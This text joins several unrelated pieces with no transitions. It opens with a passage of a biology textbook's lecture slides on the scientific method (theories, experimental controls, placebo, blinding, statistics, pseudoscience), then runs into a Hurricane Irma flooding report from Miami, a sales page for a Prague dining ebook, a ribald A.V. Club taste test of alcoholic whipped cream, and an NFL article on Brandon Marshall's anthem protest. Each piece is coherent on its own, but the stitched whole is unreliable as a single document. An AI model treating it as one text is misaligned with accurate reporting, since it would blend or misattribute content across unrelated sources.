In the echinacea study, the results were definitive. Those who took the echinacea were just as likely to catch a cold, and, once they caught the cold, the symptoms lasted for the same amount of time. In short, echinacea had no effect at all. Several similar studies have been conducted, all of which have shown that echinacea does not have any beneficial effect. As one of the researchers commented afterward, “We’ve got to stop attributing any efficacy to echinacea.” Figure Drawing conclusions and making revisions. Although it seems clear that our initial hypothesis that echinacea prevents people from catching colds and reduces the severity and duration of cold symptoms is not correct, further experimentation might involve altering the amount of echinacea given to the research subjects or the length of time they took echinacea prior to exposure to the cold-causing viruses. Hypothesis: Echinacea reduces the duration and severity of the symptoms of the common cold. 40
41 1.10 When do hypotheses become theories?
Two distinct levels of understanding that scientists use in describing our knowledge about natural phenomena It’s an unfortunate source of confusion that to the general public the word “theory” is often used to refer to a hunch or a guess or speculation—that is, something we are not certain about—while to scientists, the word means nearly the opposite: a hypothesis of which they are most certain. To reduce misunderstandings, we examine two distinct levels of understanding that scientists use in describing our knowledge about natural phenomena. 41
42 Hypotheses and Theories
A hypothesis is a proposed explanation for a phenomenon. a good hypothesis leads to testable predictions. Hypotheses As we have seen, hypotheses are at the very heart of scientific thinking. A hypothesis is a proposed explanation for a phenomenon. A good hypothesis leads to testable predictions. Commonly when non-scientists use the word theory—as in, “I’ve got a theory about why there’s less traffic on Friday mornings than on Thursday mornings”—they actually mean that they have a hypothesis. 42
43 Hypotheses and Theories
A theory is a hypothesis for natural phenomena that is exceptionally well-supported by the data. a hypothesis that has withstood the test of time and is unlikely to be altered by any new evidence Theory A theory is an explanatory hypothesis for natural phenomena that is exceptionally well-supported by the empirical data. A theory can be thought of as a hypothesis that has withstood the test of time and is unlikely to be altered by any new evidence. 43
44 Theories vs. Hypotheses
Repeatedly tested Broader in scope Like a hypothesis, a theory is testable; but because it has been repeatedly tested and no observations or experimental results have contradicted it, a theory is viewed by the scientific community with nearly the same confidence as a fact. For this reason, it is inappropriate to describe something as “just a theory” as a way of asserting that it is not likely to be true. Theories in science also tend to be broader in scope than hypotheses. In biology, two of the most important theories (which we explore in more detail in Chapters 3 and 8) are: (1) cell theory: that all organisms are composed of cells and all cells come from preexisting cells, and (2) the theory of evolution by natural: that species can change over time and are all related to each other through common ancestry. 44
45 Take-home message 1.10 Scientific theories do not represent speculation or guesses about the natural world.
46 Take-home message 1.10 Theories are hypotheses that have been so strongly supported by empirical observation that the scientific community views them as very unlikely to be altered by new evidence.
47 1.11 Controlling variables makes experiments more powerful.
From our earlier discussion of critical experiments, you have a sense of how important it is to have a well-planned, well-designed experiment. Some experiments are just better than others when it comes to figuring out how the world works. At their most basic level, experiments help us to figure out the cause-and-effect relationship between two things. In the previous sections, for example, we hypothesized about the relationship between witnessing a crime and being able to identify the person who committed it, between taking echinacea and catching a cold and having it for a period of time, between water pollution and hermaphrodite fish, and between shaving and the subsequent coarseness and color of hair. In performing experiments, our goal is to figure out whether one thing influences another thing; if an experiment enables us to draw a correct conclusion about that cause-and-effect relationship, it is a good experiment. In our initial discussion of experiments, we just described what the experiment was without examining why the researchers chose to perform the experiment the way they did. In this section, we explore some of the ways to maximize an experiment’s power and find that with careful planning, it is possible to increase an experiment’s ability to discern causes and effects. 47
48 Elements Common to Most Experiments
1. Treatment any experimental condition applied to individuals 2. Experimental group a group of individuals who are exposed to a particular treatment 3. Control group a group of individuals who are treated identically to the experimental group with the one exception: they are not exposed to the treatment 4. Variables characteristics of your experimental system that are subject to change Here they all are. 48
49 Controlling Variables
the most important feature of a good experiment the attempt to minimize any differences between a control group and an experimental group other than the treatment itself When we speak of controlling variables—the most important feature of a good experiment—we are describing the attempt to minimize any differences between a control group and an experimental group other than the treatment itself. That way, any differences in the outcomes we observe between the groups are most likely due to the treatment. Let’s look at an example that illustrates the importance of considering all these elements when designing an experiment. 49
50 Stomach ulcers are erosions of the stomach lining that, due to the highly acidic condition of that part of the digestive tract, can be very painful. In the late 1950s, a doctor reported in the Journal of the American Medical Association that stomach ulcers could be effectively treated by having a patient swallow a balloon connected to some tubes that circulated a refrigerated fluid. He argued that by super-cooling the stomach, acid production was reduced and the ulcer relieved. He had convincing data to back up his claim: in all 24 of his patients who received the treatment, their condition improved. As a result, the treatment became widespread for many years (Figure No controls). 50
51 Is arthroscopic surgery for arthritis beneficial for the 300,000 people who have it each year?
How do we know? More recently, a well-controlled experiment demonstrated that arthroscopic knee surgery, a treatment for osteoarthritis done on more than 300,000 people each year, produced moderate benefits to the patient. But the study demonstrated even greater benefits to patients in a control group that was subjected not to the arthroscopic procedure but rather to “sham” surgery in which the surgeon made three superficial incisions in the knee, manipulated the knee a bit, and clanged the instruments around in the operating room. As a consequence of this study, many doctors have begun abandoning the use of arthroscopic surgery for the treatment of osteoarthritis—which once accounted for more than a billion dollars in surgical procedures each year. (This type of surgery is still useful for the treatment of some other knee problems, including the repair of ligament and cartilage damage.) 51
52 The Placebo Effect The phenomenon in which people respond favorably to any treatment The placebo effect highlights the need for comparison of treatment effects with an appropriate control group. A surprising result from both the gastric freezing studies and the arthroscopic surgery study was that they demonstrated the placebo effect, the frequently observed, poorly understood phenomenon in which people respond favorably to any treatment, regardless of whether it is as simple as a sugar pill or as unpleasant as having to swallow a balloon and have it inflated in their stomach. The placebo effect highlights the need for comparison of treatment effects with an appropriate control group. We want to know whether the treatment is actually responsible for any effect seen; if the control group receiving the placebo has an outcome like that of the experimental group, we can conclude that the treatment does not have an effect. 52
53 Clever Hans Another pitfall to be aware of in designing an experiment is to ensure that the person(s) conducting the experiment don’t influence the experiment’s outcome. An experimenter can often unwittingly influence the results of an experiment. For example, eyewitnesses to crimes more frequently identify the police’s suspect rather than other individuals in the lineup when the officer conducting the lineup knows which individual is the suspect. This phenomenon is seen in the story of a horse named Clever Hans. Hans was considered clever because his owner claimed that Hans could do remarkable intellectual feats, including multiplication and division. When given a problem, the horse would tap out the answer number with his foot. Controlled experiments, however, demonstrated that Hans was only able to solve problems when he could see the person asking the question and when that person knew the answer (Figure Math whiz or ordinary horse?). It turned out that the questioners revealed, unintentionally and through very subtle body language, the answers. 53
54 Experimental Designs Blind experimental design
The experimental subjects do not know which treatment (if any) they are receiving. Double-blind experimental design Neither the experimental subjects nor the experimenter knows which treatment the subject is receiving. The Clever Hans phenomenon highlights the benefits of instituting even greater controls when designing an experiment. In particular, it highlights the value of blind experimental design, in which the experimental subjects do not know which treatment (if any) they are receiving, and double-blind experimental design, in which neither the experimental subjects nor the experimenter knows which treatment the subject is receiving. 54
55 Hallmarks of an Extremely Well-designed Experiment
Blind/double-blind strategies Randomized The subjects are randomly assigned into experimental and control groups. Another hallmark of an extremely well-designed experiment is that it combines the blind/double-blind strategies we’ve just described in a randomized, controlled, double-blind study. In this context “randomized” refers to the fact that, like the echinacea study described above, the subjects are randomly assigned into experimental and control groups. In this way, researchers and subjects have no influence on the composition of the control and treatment groups. The use of randomized, controlled, double-blind experimental design can be thought of as an attempt to imagine all the possible ways that someone might criticize an experiment and to design the experiment so that the results cannot be explained by anything but the effect of the treatment. In this way, the experimenter’s results either support the hypothesis or it must be rejected. If multiple explanations can be offered for the observations and evidence from an experiment, then it has not succeeded as a critical experiment. 55
56 1.12 Repeatable experiments increase our confidence.
Can science be misleading? How can we know?
57 1.13 We’ve got to watch out for biases.
Can scientists be sexist? How would we know?
58 In 2001, the journal Behavioral Ecology changed its policy for reviewing manuscripts that were submitted for publication. Its new policy instituted a double-blind process, whereby neither the reviewers nor the authors’ identities were revealed. Previously, the policy had been a single-blind process in which reviewers’ identities were kept secret but the authors identities were known to the reviewers. In an analysis of papers published between 1997 and 2005, it turned out that there was a significant increase in the number of papers published in which the first author was a female after 2001 when the double-blind policy took effect (Figure Bias against female scientists?). Analysis of papers published in a similar journal that maintained the single-blind process during that period revealed no such increase. This study reveals that people, including scientists, may have biases—sometimes subconscious—that influence their behavior. It also serves as a reminder of the importance of proper controls in experiments. If knowing the sex of the author of a paper influences a reviewer’s decision as to whether it should be published, it is possible that researchers’ biases can creep in and influence their collection of data and analysis of results. 58
59 Take-home message 1.13 Biases can influence our behavior, including our collection and interpretation of data. With careful controls, it is possible to minimize such biases.
60 Section 1-4 Opener What can you believe? Reading labels is essential to evaluating products and the claims about them.
61 1.14 Statistics can help us to make decisions.
Earlier in this chapter, we saw that researchers repeatedly found, through experimentation, that megadoses of vitamin C do not reduce cancer risk. If you put yourself in the researchers’ shoes, you might wonder how you figure out that the vitamin C did not reduce cancer risk. Perhaps you had 100 patients in the group receiving megadoses of vitamin C: some of them developed cancer and some of them did not. And among the 100 patients in the group not receiving the megadoses some of the patients developed cancer and some did not. How do you decide whether the vitamin C actually had an effect? (go to next slide) 61
62 Statistics A set of analytical and mathematical tools designed to help researchers gain understanding from the data they gather. How do you decide whether the vitamin C actually had an effect? This knowledge comes from a branch of mathematics called statistics, a set of analytical and mathematical tools designed to help researchers gain understanding from the data they gather. To understand statistics, let’s start with a simple situation. 62
63 Larger numbers of participants are better than fewer if you want to draw general conclusions about natural phenomena. Suppose you measure the height of two people. One is a female who is 5'10" tall. The other is a male who is 5'6" tall. If these were your only two observations of human height, you might conclude that females are taller than males. But suppose you measure the heights of 100 females and 100 males chosen randomly from a population. Then you could can say “of the 100 men, the average man is 5'9.5“, and of the 100 women, the average woman is 5'4". Better still, the data can illuminate for you not only the average, but also some measure of how much variation there is from one individual to another. Statistical analysis can tell you not only that the average male in this study is 5’ 9.5” tall but that two-thirds of the men are between 5’6.5” tall (three inches less than the average) and 6’0.5” tall (three inches more than the average). You will often see this type of range printed as 5’9.5” ± 3”. Similarly, the data might show that the females in the study are 5’6” ± 3”, indicating that two-thirds of the females are between 5’3” and 5’9” tall. As we discussed earlier in the experiment design section and as this example shows, larger numbers of participants are better than fewer if you want to draw general conclusions about natural phenomena such as the height of men and women (Figure Drawing conclusions based on limited observations is risky). 63
64 Making Wise Decisions About Concrete Things
Does having access to a textbook help a student to perform better in a biology class? Students who had access to a textbook scored an average of 81% ± 8% on their exams… …while those who did not scored an average of 76% ± 7%. Using data to describe the characteristics of those participating in a study is useful, but often we want to know whether data support (or do not support) a hypothesis. If the scientific method is to be effective in helping us to understand the world, it must help us make wise decisions about concrete things. For example, suppose we want to know if having access to a textbook helps a student to perform better in a biology class. Statistics can help us to answer this question. After conducting a study, we may find that students who had access to a textbook scored an average of 81% ± 8% on their exams, whereas those who did not scored an average of 76% ± 7%. In this example, it is difficult to distinguish between the two possible conclusions: Possibility 1: Students having access to a textbook DO perform better in biology classes. In other words, this sampling of this class revealed a true relationship between the two variables: textbook access and class performance. Possibility 2: Students having access to a textbook DO NOT perform better in biology classes. The variation in scores in the two groups may be too large to make it possible to notice any effect of having access to a textbook. Instead, the difference in the average score for the two groups may mean that more of the high-performing students just happened to be put into the group given access to a textbook through random chance. 64
65 But what if the students with access to a textbook scored 95% ± 5%, while those without access scored only 60% ± 5%. In this case, we would be much more confident that there is a significant effect of having access to a textbook (Figure Drawing conclusions based on statistics), because even with the large variation in scores seen in each group, the averages are still very different from each other. Statistical methods help us to decide between these two possibilities and, importantly, to state how confident we are that one or the other is true. The greater the difference between two groups (95% versus 60% is a greater difference than 81% versus 76%) and the smaller the variation in each group (±5% in the 95% and 60% groups versus ± 8% and 7% in the 81% versus 76%), the more confident we are of the conclusion that there is a significant effect of the treatment (having access to a textbook in this case). In other words, in the case where the groups of students scored 95% or 60% depending on whether they had access to a textbook, it is possible that having a textbook does not actually improve performance and that this observed difference is just the result of chance. But this conclusion is very, very unlikely. 65
66 Statistics can also help us to identify relationships (or the lack of relationships) between variables. a positive correlation meaning that when one variable increases, so does the other Statistics can also help us to identify relationships (or the lack of relationships) between variables. For example, we might note that when there are more firefighters at a fire, the fire is larger and causes more damage. This is a positive correlation, meaning that when one variable (the number of firefighters) increases, so does the other (the severity of the fire). 66
67 “Correlation is not causation.”
Statistical analyses can help us to organize and summarize. Should we conclude that firefighters make fires worse? No. While correlations can reveal relationships between variables, they don’t tell us how the variables are related or whether change in one variable causes change in another. You may have heard or read the phrase “correlation is not causation,” which refers to this sort of situation. Before drawing any conclusions about more firefighters causing larger fires, we need to know the type of fire and its size when the firefighters arrive because those factors will significantly influence the ultimate amount of damage. To estimate the effect of the number of firefighters on the amount of damage, we would need to compare the amount of damage from fires of similar sizes that are fought by different numbers of firefighters. Ultimately, statistical analyses can help us to organize and summarize the observations that we make and evidence we gather in an experiment. These analyses can then help us to decide whether any differences we measure between experimental and control groups are likely to be the result of the treatment, and how confident we can be in that conclusion. 67
68 Take-home message 1.14 Because much variation exists in the world, statistics can help us evaluate whether differences between a treatment and control group can be attributed to the treatment rather than random chance.
69 1.15 Pseudoscience and misleading anecdotal evidence can obscure the truth.
70 Pseudoscience: individuals make scientific-sounding claims that are not supported by trustworthy, methodical scientific studies. Anecdotal observations: based on only one or a few observations, people conclude that there is or is not a link between two things. 70
71 “Four out of five dentists surveyed recommend sugarless gum for their patients who chew gum.”
“How do they know what they know?” Maybe the statement is factually true, but the general relationship it implies may not be. Beginning in the 1960s, for example, consumers encountered the assertion that “four out of five dentists surveyed recommend sugarless gum for their patients who chew gum.” If you ask yourself the question: “How do they know what they know?” and can’t answer it, you are looking at pseudoscience. Maybe the statement is factually true, but the general relationship it implies may not be. How many dentists were surveyed? If they surveyed only five dentists, then the statement may not represent the proportion of all dentists who would make such a recommendation. And how were the dentists sampled? Were they at a shareholders meeting for a sugarless gum company? What alternatives were given—perhaps gargling with a tooth-destroying acid? You just don’t know. That’s what makes it pseudoscience. 71
72 Anecdotal Observations
do not include a sufficiently large and representative set of observations of the world data are more reliable than anecdotes We are all familiar with anecdotal evidence. Striking stories or our own experiences can shape our views of cause and effect. We may find compelling parallels between suggestions made in horoscopes and events in our lives, or we may think that we have a lucky shirt, or we may be moved by a child whose cancer went into remission following treatment involving eating apricot seeds. Despite lacking a human face, data are more reliable than anecdotes, primarily because they can illustrate a broader range of observations, capturing the big picture. Anecdotal observations can seem harmless and can be emotionally powerful. But because they do not include a sufficiently large and representative set of observations of the world, they can lead people to draw erroneous conclusions, often with disastrous consequences. One important case of anecdotal evidence being used to draw general conclusions about a relationship between two things involves autism, a developmental disorder that impairs social interaction and communication, and the vaccination for measles, mumps, and rubella that is given to most children. We must be wary that we not generalize from anecdotal observations or let poorly designed studies obscure the truth. Figure Headline news. 72
73 Take-home message 1.15 Pseudoscience and anecdotal observations often lead people to believe that links between two phenomena exist, when in fact there are no such links.
74 1.16 There are limits to what science can do.
The scientific method will never prove or disprove the existence of God. Understand elegance? What is beauty? The scientific method is a framework that helps us make sense of what we see, hear, and read in our lives. Science and scientific thinking guide us in recognizing facts and help us in the interpretations of data, analyses of hypotheses, and drawing of conclusions. In doing so, scientific thinking reveals and illuminates explanations about how to think about various events and phenomena, and can help us to make decisions in diverse areas of our lives, not just “scientific” areas. There are, however, limits to what science can do. The scientific method will never prove or disprove the existence of God. Nor is it likely to help us understand the mathematical elegance of Fermat’s last theorem or the beauty of Shakespeare’s sonnets. 74
75 One of Several Approaches to the Acquisition of Knowledge
The scientific method is, above all, empirical. Value judgments and subjective information Moral statements and ethical problems As one of several approaches to the acquisition of knowledge, the scientific method is, above all, empirical. It differs from non-scientific approaches such as mathematics and logic, history, music, and the study of artistic expression in that it relies on measuring phenomena in some way. The generation of value judgments and other types of non-quantifiable, subjective information—such as religious assertions of faith—fall outside the realm of science. Despite all of the intellectual analyses the scientific method gives rise to and the objective conclusions it makes possible, it does not, for example, generate moral statements and it cannot give us insight into ethical problems. What “is” (i.e., what we observe in the natural world) is not necessarily what “ought” (i.e., what is morally right) to be. It may or may not be. Further, much of what is commonly considered to be science, such as the construction of new engineering marvels or the heroic surgical separation of conjoined twins, is not scientific at all. Rather, these are technical innovations and developments. While they frequently rely on sophisticated scientific research, they represent the application of research findings to varied fields, such as manufacturing and medicine, to solve problems. As we begin approaching the world from a more scientific perspective, we can gain important insights into the facts of life, yet must remain mindful of the limits to science. 75
Brickell is home to financial giants such as JP Morgan, Santander Bank and Wells Fargo. Luxury hotels including the Four Seasons Miami and the JW Marriott are also located there.
Images of the Brickell district posted online reveal that roadways have been turned into flowing rivers of water.
RT correspondent Marina Portnaya, who is in the area, described how the heavy rainfall and surging seawater along the Miami coast turned parts of the financial district into an ocean.
READ MORE: Stormchasers ignore dire storm warnings to measure Hurricane Irma windspeed (VIDEO)
“The flooding in Brickell is beyond comprehension. The water is coming from Biscayne Bay - one block from Brickell Ave. It’s pouring over the sea wall,” Portnaya told RT.com.
Portnaya said that even if people wanted to brave the extreme weather there would be no way to navigate the flooded streets.
“Brickell is not a neighborhood that can withstand what’s happening. It floods when it rains for 30 minutes,” she added.
Footage from near Brickell Key, where a condo can cost up to $1.8 million, shows waves from the Atlantic Ocean channeling by Dodge Island and into the Miami River.
#hurricaneirma in #miami is now at its most violent. Having to scream to have my voice heard @CNN @weatherchannel @nbc6 @cbsmiami @wsvn @local10news @reuterseyewitness A post shared by Matthew Spuler (@matthew.spuler) on Sep 10, 2017 at 9:12am PDT
Miami resident Matthew Spuler has posted a number of updates from his downtown home. At 1pm local time he said the weather was the worst it had been during the storm.
Another flooding video #hurricaneirma #miami @nbc6 @weatherchannel @cbsmiami @wsvn @local10news @cnn A post shared by Matthew Spuler (@matthew.spuler) on Sep 10, 2017 at 8:49am PDT
“The water is so ridiculously turbulent right now. Look at all the debris… it’s just white cap after white cap,” he told Instagram followers.
READ MORE: Paradise islands bowled over by Hurricane Irma (VIDEOS, PHOTOS)
Prague is visited by millions of tourists every year and few realize that just a block away from the tourist traps are where the locals eat, drink and live.
Imagine walking a block down a cobbled street and entering a completely different Prague. Away from the crowds of tourist. Away from the tour groups, clicking cameras and tacky gift shops.
With Eat Goulash and Enjoy Beer In Prague Like a Local you can eat in local Prague restaurants.
The book will teach you everything you need to know to go where the locals go:
how do I know a good restaurant from a not so good restaurant?
how do I get there via the metro, tram, bus, or taxi?
how do I read the menu?
what kind of food will they serve?
how do I communicate with the waiter?
should I be scared of locals?
why should a man always walk into a restaurant first?
Besides helping you get away from the tourists and experience the real Prague, this book will save you money. In a restaurant catering to tourists a pint of beer costs 100 CZK ($5.50 USD). A block away at a local restaurant the exactly same beer costs 26 CZK ($1.40 USD).
This book pays for itself with a plate of Goulash and a single pint of Czech beer in a local restaurant!
Is this book for you?
Yes, if you want to:
get away from crowded and overpriced tourist restaurants
try real Prague restaurants which cater to locals (do you go eat out at tourist traps in your hometown?)
eat authentic Czech goulash and pay 65 czk ($3.60 USD) instead of 160 czk ($8.80 USD)
learn how to find a good local restaurant simply by walking down a narrow cobble stone alley
learn how to use your knife and fork to tell the non-English speaking waiter you are done eating
Practical Information You Can Use To Go Where The Locals Go To Eat And Drink
The author is a Prague local. Imagine knowing somebody in Prague who can advise you where to eat.
Here is how the book will help you:
understand the different types of local restaurants and what they offer
learn about the different types of meals offered
use the metro and tram to the local restaurants
where to avoid - no locals eat there
what is expected etiquette and table manners
What's In The Book?
Informative and illustrated pages to enable you to visit local restaurants with confidence.
Here is what's in the book:
What Do You Feel Like Eating Meat, Sauce, Dumpling
Breaded and Deep Fried
Reading The Menu What Type Of Restaurant Do You Want The Service Curse Of A Communist Restaurant
Beer Signs Tell You Where and What
Pilsner Urquell, Gambrinus - A Place To Eat A Good Meal With Quality Service and Ambiance
Krušovice, Kozel, Radegast, Budvar - A Place To Drink Beer, Smoke and Chat With ‘Professional’ Drinkers
Tourist Places To Avoid Eating And Drinking How To Get To The Restaurant You Need A Public Transit Ticket
You Need To Validate Your Ticket
Take The Metro
Take The Tram
Do not Take The Bus
Take A Taxi
Walk You Are At The Restaurant Guy Enters A Bar...
Order A Beer
Water Is Not Free
Your Knife And Fork Speak To The Waiter
Zaplatíme (Ready To Pay)
How To Talk To A Waiter That Does Not Understand English Something To Talk About While You Eat
Main Course: A Brief History of Prague
For Dessert: The Good King Wenceslas
Over a Couple Beers: What To Ask A Czech
About The Author
In 2006 I packed my bags and boarded a plane for Prague. The plan was to stay for a year but I am still here because I love this city. After more than a few years living in Prague, learning the language and making lots of friends, I have progressed from a wide-eyed tourist to a goulash eating local.
I eat out at least two nights a week in local Prague restaurants. Goulash is my favorite dish and of course no meal is complete without a half liter of world famous Czech beer.
Get Your Copy Now
Eat Goulash and Enjoy Beer In Prague Like a Local is ready for your download right now for: $6.99 USD (Promotion price: 5.99 USD for PDF or Kindle).
To get your copy, simply choose between the PDF ebook format or the Kindle format below. You’ll be taken to a page where you can make your payment and get immediate access for download.
As soon as your complete your payment with PayPal you will be automatically sent to a download page and you will receive an email with a link to the PDF book.
For your information: the Local Explore Kit includes this book in paper book and PDF format. It also includes maps and guides for Prague walks, restaurant recommendations, a small town daytrip, and a language cheatsheet.
Unconditional Money Back Guarantee
Simple. If ever you are not satisfied that this book helped you eat like a local and saved you money, just let me know and I will refund your money.
What People Are Saying
"This is not the typical travel guide that only tells you where are the tourist hot spots you can't miss. The author gives you a lot of indications of what locals expect from tourists and what could you learn to help you have a better time in Prague than you would expect. The food from non-tourist restaurants are indeed much better and the prices are incredibly cheaper. If you make an effort to learn 3 or 4 sentences in Czech, the locals will love and you will leave Prague thinking when are you coming back."- João Eduardo Pádua
"My spouse is half-Czech, so we really wanted to try the local places to get a feel for the city. We studied several guides, but this one stood out with its detail and engaging style. It's packed with lots of tips which helped us fit in, despite not speaking the language. Armed with only a two-page English-to-Czech translation guide, the locals were treated us just fine, and we enjoyed modifying our American habits to fit Prague customs. Thanks, Roman Jelinek, for packing so much information into this book, written with a great sense of humor as well!"- RioNaiad
"I checked out the Kindle book by using the free preview and thought it was worth the few dollars - and I was right!! I got so many useful tips from the book and will read it again before I go to Prague in early September. It gave me the information I was looking for - how not to be a tourist in Prague. I always hate the fact that when I travel, everywhere is full of tourists!! I like the thought of being able to get away from them and pretend I am a local."- Julianne
In spite of its fluffy-cloud consistency and virginal white hue, whipped cream has a pretty naughty reputation. As far as childhood transgressions go, few are more delicious than filling your face up to the sinuses with ReddiWip when Mom isn’t looking. As we get older, whipped cream becomes the star player in the food-based lovemaking techniques that only slutty characters in cheesy raunch-coms actually engage in. Then, when you become truly jaded as you start to realize that no amount of clandestine dessert-topping snarfing and unrealistic Hollywood-sanctioned pseudo-kink can fill the deep black hole inside of you, whipped cream is there to ease your pain—or at least, its nitrous-oxide propellant is.
But you know what makes everything naughtier, don’t you? That’s right, our good friend alcohol. Enter Whipped Lightning, a new line of flavored dessert/drink toppings that have been kissed by the booze fairy and packaged in a handy canister, the ideal device to deliver them unto the waiting mouths and stomachs of the confused young girls gone wild of America.
But while the most obvious use of this product may be as a body-shot accoutrement, the makers of Whipped Lightning market their “Whipahol” for a slightly less depraved use, namely as an inventive novelty shot-topper, helpfully including a bevy of complicated recipes for shooters, martinis, coffee drinks, and “drinkserts” on the product’s website. But as tasty as something like the “Kool-Aid” sounds (vodka, melon liqueur, amaretto, and cranberry juice, topped with coconut Whipahol), chances are good that when you ask for it down at your neighborhood Senor Frog’s, the lecherous bartender is going to suggest how much more fun (and easy) it would be to just fill your pretty little mouth with some Tropical Passion-flavored Whipped Lightning and call it a day. Whooo! Spring break!
Alas, Spring break is over, so we just couldn’t in good conscience test Whipahol’s body-shot potential here in the office. We instead opted to go the more scientific route, procuring four flavors—Spiced Vanilla, Amaretto, White Chocolate Raspberry, and Spiced Pumpkin Pie—to sample while standing in an awkward circle in the neutral environs of the A.V. Club kitchen. It isn’t exactly spring break in Cabo, but the appeal of alcohol-infused dessert topping spans time and space, and we predictably drew a good-sized crowd of testers looking to blur the edges of their tough workweek with some midday tippling. And since it just wouldn’t be respectful of Whipped Lightning’s depraved spirit to simply nibble it off plastic spoons while sober and modestly attired, we upped the ante by whipping up some shots—specifically, Blow Jobs, a combination of Bailey’s and amaretto, topped with Whipahol.
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Taste: The most surprising thing about Whipahol is that it tastes like, well, alcohol, and fairly strong alcohol at that. Considering its alcohol content is fairly high for something that’s basically just booze and air—36.5 proof, higher than liqueurs like Bailey’s and some schnapps—and the sparse ingredients list mentions only “grain neutral spirits with natural and artificial flavors and colors,” perhaps it shouldn’t be surprising that Whipped Lightning has a bit of a kick, but it’s still disconcerting for something as insubstantial as foam to kick at all.
On their own, the Amaretto and Spiced Pumpkin Pie iterations had the most character, tasting like slightly burn-ier versions of their stated flavor profiles. Vanilla, being a fairly meek flavor to begin with, predictably couldn’t stand up to its co-star, grain alcohol, making Spiced Vanilla the most aggressively boozy—but still tasty—of the four. White Chocolate Raspberry, ostensibly the most delicious-sounding flavor, was the biggest disappointment: Its pronounced chemical overtones render it more akin to hair product than a sweet adult treat.
Since Whipped Lightning isn’t considered a food product and therefore isn’t subject to FDA labeling requirements, it’s unclear how much actual cream it contains—but the fact that it isn’t considered a food product and that it doesn’t need to be refrigerated should indicate that there isn’t much. Consequently, the portmanteau Whipahol should be interpreted as “whipped alcohol,” not “alcoholic whipped cream”; this is basically alcoholic foam, not nearly rich or substantial enough to stand alongside the Reddi- and Cool whips of the world. While the structural integrity varied from flavor to flavor, none of the Whipahols were dense enough to create the luscious, fluffy mound of deliciousness that the term “whipped cream” evokes. So if you’re looking for a way to spice up the ol’ whipped-cream-bikini trick, Whipped Lightning may not be the best candidate.
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You know what Whipped Lightning is really good for, though? Topping off sticky-sweet shots. Who knew using a product for its intended purpose could be so rewarding? While Whipped Lightning on its own is appealing in that “huh, interesting” way, when combined with un-foamed liquor, it’s downright tasty. It also holds its shape much better within the confines of a shot glass. The Amaretto and Spiced Vanilla flavors were rendered smooth and creamy when paired with the Bailey’s and amaretto, and the fact that they up the alcohol content of this admittedly tame shot a bit is just icing on the cake—or Whipahol on the Blow Job, if you prefer.
Office reactions:
“I imagine this is what alcoholics think clouds taste like.”
“A small amount of whipped cream tastes like it contains a lot of alcohol.”
“I plan on replacing all my current whipped-cream consumption with this.”
“I can easily see this being abused and featured on the next A&E Intervention.”
“Very similar consistency and taste to what I imagine hair mousse tastes like.”
“This is exactly what anyone hearing ‘alcoholic whipped cream’ would expect. That said, it's better than I imagined. Not too sweet, and seriously boozy. A shot topped with this stuff would basically be a double shot.”
“Finally, a product where probably no one is going to say it tastes like kids’ medicine. Unless dad’s solution for sick kids was to knock ’em out with a couple slugs of brandy.”
“This stuff really isn’t essential, but the flavors are good and the concept is fun. It’d certainly make body shots more interesting. And, um, special adult time. Particularly drunken special adult time.”
“Foamy but not shaving-cream foamy. More like soap-dispenser foamy.”
“Hope these will hold until spring break 2011!”
“Wasn’t sold on the color. Shades of brown, basically.”
“I can see Mom and Dad coming home to some very belligerent kids with this in the fridge.”
“I really wish I had something mean to say about this to defend my manhood, but it was darn tasty and is made with grain alcohol, so that’s pretty tough. “
“All of these have a pretty powerful antiseptic taste, like they want you to be goddamn sure you know you’re ‘drinking’: foam-booze.”
“On their own, they’re a little too strong, but with booze, they work pretty well.”
“I think it’d help if these things had any actual cream in them. They’re just booze foam—a little creaminess would’ve balanced out the antiseptic flavor.”
“Pumpkin Spice had the most character, but Spiced Vanilla was the best-tasting. Thumbs down on raspberry.”
“Pumpkin Pie brings back memories of hour three of Thanksgiving dinner, but with less yelling.”
“I was surprised how well Pumpkin Spice worked, though I don’t know what I’d really put it on. You can’t really put it on pie, because all of these liquefy so quickly.”
“Like so many vanilla-flavored foodstuffs, Spiced Vanilla faded into the background of my memory. It must not have been too bad or too good.”
“I was looking forward to White Chocolate Raspberry the most, but the nasal-clearing booze flavor overpowers everything.”
“ The raspberry one tastes like rubber cement smells.”
The raspberry one tastes like rubber cement smells.” “I like the raspberry flavor. Anybody complaining that their booze tastes too much like alcohol and not enough like raspberries is kind of missing the point. This is just sweet enough to be tasty. I have no problem with the fact that it also tastes like what it is.”
“The Amaretto is a win, at least when a Blow Job is involved. By the way, the double entendres of this Taste Test will NEVER get old.”
“I'm not gonna lie, the Blow Job shot was pretty great. If I didn’t have more shit to edit, I would’ve had a couple more.”
“The room smelled like aerosol hair product afterwards.”
There are now four black men who have deemed racial inequality in the United States grounds to protest an NFL tradition that has been become synonymous with the game itself. Across the league, flags stretching the width of the field are unfurled by dozens of grateful volunteers, and players are filmed and broadcast staring wistfully into the distance. Marshall’s former teammate, Knowshon Moreno, became the very image of NFL patriotism when he shed massive raindrop tears during the anthem before a 2013 game.
Moreno talked about the privilege of playing pro football in his explanation. “Excited to play this game,” he said in 2013. “Excited to be a part of this team, definitely blessed and privileged to be able to play this game.”
• THE MMQB PODCAST WITH PETER KING: Like the Monday Morning Quarterback? Then subscribe to the new podcast from Peter King.
On Thursday, Marshall doubled down on what Kaepernick, his former teammate at Nevada, has asserted since his initial preseason protest—that the opportunity to play in the NFL is not an excuse to forsake one’s conscience, but rather an obligation to maximize one’s voice.
“I prayed long and hard about it and I felt it was the right thing to do,” Marshall told The MMQB after the game. “It is what it is; I’m standing up for what I believe in. I know my family will support me.
“I’m not against the police. I’m not against the military. I’m not against America. I’m against social injustice. This movement is something special. People are going to bash me on social media but at the end of the day I’m going to go home and sleep peacefully knowing what I did was right. I will not lose any sleep.”
“So many people have trouble understanding and empathizing,” Marshall says. “It’s hate and it’s exactly what we talk about. People celebrating a possible concussion are proving my point.”
Marshall only told a small circle of people he’d been considering following in Kaepernick’s footsteps. The Broncos didn’t know; not his teammates nor the coaching staff. His mother and sister, in attendance for the season opener, had no idea. Marshall would tell the throng of 20 or so media members waiting at his locker that he was still unsure as he walked onto the field for the anthem.
When the time came, there was Marshall, beside teammates Jared Crick and Billy Winn, knee in the dirt with an arm resting on his thigh. Marshall’s mother and sister in the stands began receiving rapid phone calls and texts and were as surprised as anybody. Marshall consulted only with his cousin, Ennis, and close friend Jacob Wallace, who is safety T.J. Ward’s cousin. They warned him: Be ready for the backlash. Have your talking points ready.
“They said, ‘you might lose endorsements,’” Marshall says. “I’m ready for that.”
